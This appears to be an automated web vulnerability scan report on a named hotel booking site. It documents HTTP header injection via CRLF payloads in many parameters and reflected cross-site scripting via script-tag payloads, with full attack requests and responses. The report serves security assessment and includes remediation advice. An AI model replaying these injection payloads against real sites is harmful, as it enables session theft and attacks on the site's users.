HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the adults request parameter is copied into the Location response header. The payload bd291%0d%0a171869c6300 was submitted in the adults parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=1&adults=bd291%0d%0a171869c6300&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the arriveDate request parameter is copied into the Location response header. The payload 93f94%0d%0a6d755735622 was submitted in the arriveDate parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=93f94%0d%0a6d755735622&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=1&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the arriveMonth request parameter is copied into the Location response header. The payload 230a0%0d%0ac06faf4d8ff was submitted in the arriveMonth parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=230a0%0d%0ac06faf4d8ff&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=1&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the arriveYear request parameter is copied into the Location response header. The payload 95247%0d%0a3bdf8edd1d7 was submitted in the arriveYear parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=95247%0d%0a3bdf8edd1d7&departDate=12&departMonth=10&departYear=2010&numberOfNights=1&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the chainCode request parameter is copied into the Location response header. The payload ba989%0d%0a4d54b86e085 was submitted in the chainCode parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=ba989%0d%0a4d54b86e085&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=1&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the departDate request parameter is copied into the Location response header. The payload 75696%0d%0a3d20a212cf0 was submitted in the departDate parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=75696%0d%0a3d20a212cf0&departMonth=10&departYear=2010&numberOfNights=1&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the departMonth request parameter is copied into the Location response header. The payload 8c7e0%0d%0aaa4f45f0816 was submitted in the departMonth parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=8c7e0%0d%0aaa4f45f0816&departYear=2010&numberOfNights=1&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the departYear request parameter is copied into the Location response header. The payload 4ff5a%0d%0a757571d7a4 was submitted in the departYear parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=4ff5a%0d%0a757571d7a4&numberOfNights=1&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the execute request parameter is copied into the Location response header. The payload 44dd0%0d%0aa5ff264e19b was submitted in the execute parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=Reservation&operation=RetrieveReservationUD&execute=44dd0%0d%0aa5ff264e19b&instanceId=172&locale=en HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 302 Moved Temporarily Date: Mon, 11 Oct 2010 18:45:58 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Location: https://historichotels.ibe.netbooker.com/web/RetrieveReservationUDAction.do?1=&locale=en&execute=44dd0 a5ff264e19b&module=Reservation&operation=RetrieveReservationUD&instanceId=172&invalidateSession=True&exURL=True Content-Length: 0 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/plain
The value of the instanceId request parameter is copied into the Location response header. The payload df0af%0d%0abf480497350 was submitted in the instanceId parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=df0af%0d%0abf480497350&execute=Yes&propertyCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 302 Moved Temporarily Date: Mon, 11 Oct 2010 18:45:53 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Location: https://historichotels.ibe.netbooker.com/web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&module=PropertySearch&propertyCode=&execute=Yes&instanceId=df0af bf480497350&invalidateSession=True&exURL=True Content-Length: 0 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/plain
The value of the locale request parameter is copied into the Location response header. The payload ebc82%0d%0ae2905508a7c was submitted in the locale parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=Reservation&operation=RetrieveReservationUD&execute=yes&instanceId=172&locale=ebc82%0d%0ae2905508a7c HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 302 Moved Temporarily Date: Mon, 11 Oct 2010 18:46:35 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Location: https://historichotels.ibe.netbooker.com/web/RetrieveReservationUDAction.do?1=&operation=RetrieveReservationUD&locale=ebc82 e2905508a7c&module=Reservation&execute=yes&instanceId=172&invalidateSession=True&exURL=True Content-Length: 0 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/plain
The value of the module request parameter is copied into the Location response header. The payload 7836b%0d%0a8b06c93ea56 was submitted in the module parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=7836b%0d%0a8b06c93ea56&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 302 Moved Temporarily Date: Mon, 11 Oct 2010 18:45:27 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Location: https://historichotels.ibe.netbooker.com/web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&module=7836b 8b06c93ea56&propertyCode=&execute=Yes&instanceId=172&invalidateSession=True&exURL=True Content-Length: 0 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/plain
1.13. https://historichotels.ibe.netbooker.com/web/FrontController.nb4 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://historichotels.ibe.netbooker.com
Path:
/web/FrontController.nb4
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload bcf49%0d%0a220e9e40099 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=&bcf49%0d%0a220e9e40099=1 HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 302 Moved Temporarily Date: Mon, 11 Oct 2010 18:47:14 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Location: https://historichotels.ibe.netbooker.com/web/SinglePropertySearchAction.do?1=&bcf49 220e9e40099=1&operation=SinglePropertySearchResult&module=PropertySearch&propertyCode=&execute=Yes&instanceId=172&invalidateSession=True&exURL=True Content-Length: 0 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/plain
The value of the numberOfNights request parameter is copied into the Location response header. The payload 19539%0d%0a37e521527d1 was submitted in the numberOfNights parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=19539%0d%0a37e521527d1&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the propertyCode request parameter is copied into the Location response header. The payload debc6%0d%0a0f01f9bbc8c was submitted in the propertyCode parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=debc6%0d%0a0f01f9bbc8c HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 302 Moved Temporarily Date: Mon, 11 Oct 2010 18:46:28 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Location: https://historichotels.ibe.netbooker.com/web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&module=PropertySearch&propertyCode=debc6 0f01f9bbc8c&execute=Yes&instanceId=172&invalidateSession=True&exURL=True Content-Length: 0 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/plain
The value of the rateCode request parameter is copied into the Location response header. The payload 373a5%0d%0a7c8a21a2f8d was submitted in the rateCode parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=1&adults=1&travelAgentId=&rateCode=373a5%0d%0a7c8a21a2f8d HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the travelAgentId request parameter is copied into the Location response header. The payload decbf%0d%0a49d098f5ce7 was submitted in the travelAgentId parameter. This caused a response containing an injected HTTP header.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=1&adults=1&travelAgentId=decbf%0d%0a49d098f5ce7&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
1.18. https://historichotels.ibe.netbooker.com/web/SinglePropertySearchAction.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://historichotels.ibe.netbooker.com
Path:
/web/SinglePropertySearchAction.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 6d2be%0d%0a94a17310cc0 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&rateCode=&arriveMonth=10&travelAgentID=&module=PropertySearch&propertyCode=0622&departMonth=10&execute=Yes&instanceId=172&departYear=2010&arriveYear=2010&arriveDay=11&adults=1&departDay=12&numberOfNights=1&chainCode=LM&invalidateSession=True&exURL=True&6d2be%0d%0a94a17310cc0=1 HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3e0e"><script>alert(1)</script>cb4dc9f3a36280aca was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /web/DisplayRoomRateSelection.do;jsessionid=8549D603205F7400A4C0FA42D55DAC60?pageIndex=1&conversionFactor=&roomsSortOrder=RateType&operation=&module=&locale=-1d3e0e"><script>alert(1)</script>cb4dc9f3a36280aca&instanceId=172&languageId=-1&exceptionDesc=Instance+Id+which+is+mandatory+not+available+in+request&exceptionCode=IBE6024&lookAndFeelId=2687&lookFeelId=2687&showHF= HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: https://historichotels.ibe.netbooker.com/web/DisplayRoomRateSelection.do;jsessionid=8549D603205F7400A4C0FA42D55DAC60?pageIndex=1&conversionFactor=&roomsSortOrder=RateType Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 19:10:55 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=3445451E0DDDE0BAE637EB70AFB23AD2; Path=/web P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 13001
<html> <head>
<title>Error</title>
<style type="text/css"> img { border: 0px; }
.footerlink { FONT-WEIGHT: normal; COLOR: #76715d; FONT-FAMILY: Times New Roman, Times, serif; FO ...[SNIP]... <input type="hidden" name="languageId" value="-1d3e0e"><script>alert(1)</script>cb4dc9f3a36280aca"> ...[SNIP]...
The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 751f5"><script>alert(1)</script>f851753b396 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the locale request parameter is copied into the HTML document as plain text between tags. The payload bf308<script>alert(1)</script>6e902800d22 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8212c"><script>alert(1)</script>daa50cc7525 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /web/FrontController.nb4?module=Reservation&operation=RetrieveReservationUD&execute=44dd0%0d%0aa5ff264e19b&instanceId=172&locale=en8212c"><script>alert(1)</script>daa50cc7525 HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286822667778; multiBrowserCookie=No; JSESSIONID=E91D3CBE2A1A54A41D4BD430A63DB332
The value of the numberOfNights request parameter is copied into the name of an HTML tag attribute. The payload 230e8><script>alert(1)</script>df6ee674de was submitted in the numberOfNights parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=1230e8><script>alert(1)</script>df6ee674de&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the numberOfNights request parameter is copied into the HTML document as plain text between tags. The payload 8a860<script>alert(1)</script>f34c587baaa was submitted in the numberOfNights parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /web/FrontController.nb4?module=PropertySearch&operation=SinglePropertySearchResult&instanceId=172&execute=Yes&propertyCode=0622&chainCode=LM&arriveDate=11&arriveMonth=10&arriveYear=2010&departDate=12&departMonth=10&departYear=2010&numberOfNights=18a860<script>alert(1)</script>f34c587baaa&adults=1&travelAgentId=&rateCode= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f237"><script>alert(1)</script>bcf26d3c915c781b9 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /web/ReservationSummaryAction.do?instanceId=172&lookAndFeelId=2687&locale=-15f237"><script>alert(1)</script>bcf26d3c915c781b9&module=&operation=ConfirmationSummary&pageID=BS.001&showHF=YES&ChangeLocale=False&isSubmit=True&Reload=False&RefreshToken=1286824116873&callerOperation=&popupOperation=&propertyCodeType=&propertyCode=0622&chainCode=LM&webProfileOperation=&expiryYear=&expiryMonth=&cardexpirynumb=&nextOperation=addNew&ReservationSummaryPage=true&children=0&arriveDay=11&arriveMonth=10&arriveYear=2010&departDay=12&departMonth=10&departYear=2010&numberOfRooms=1&numberOfNights=1&adults=1&title=&firstName=Peter&lastName=Wiener&phone=555-555-0199&emailId=wiener%40example.com&organization=555-555-0199%40example.com&addressLine1=1+Main+Street&addressLine2=1+Main+Street&addressLine3=1+Main+Street&city=Wienerville&state=AL&province=555-555-0199%40example.com&postalCode=SW1A+1AA&country=AF&poption=&comments=555-555-0199%40example.com&travelAgentID=&if_else_fl=if&cardType=AX&cardNumber=555-555-0199%40example.com&cardExpiryMonth=01&cardExpiryYear=2010&monthDesc=&nameOnCard=Peter+Wiener&ReferingPage= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: https://historichotels.ibe.netbooker.com/web/BookingSummary.do Cache-Control: max-age=0 Origin: https://historichotels.ibe.netbooker.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286823531277; multiBrowserCookie=No; JSESSIONID=02900B59222E51FE233D508DFF99F1F1
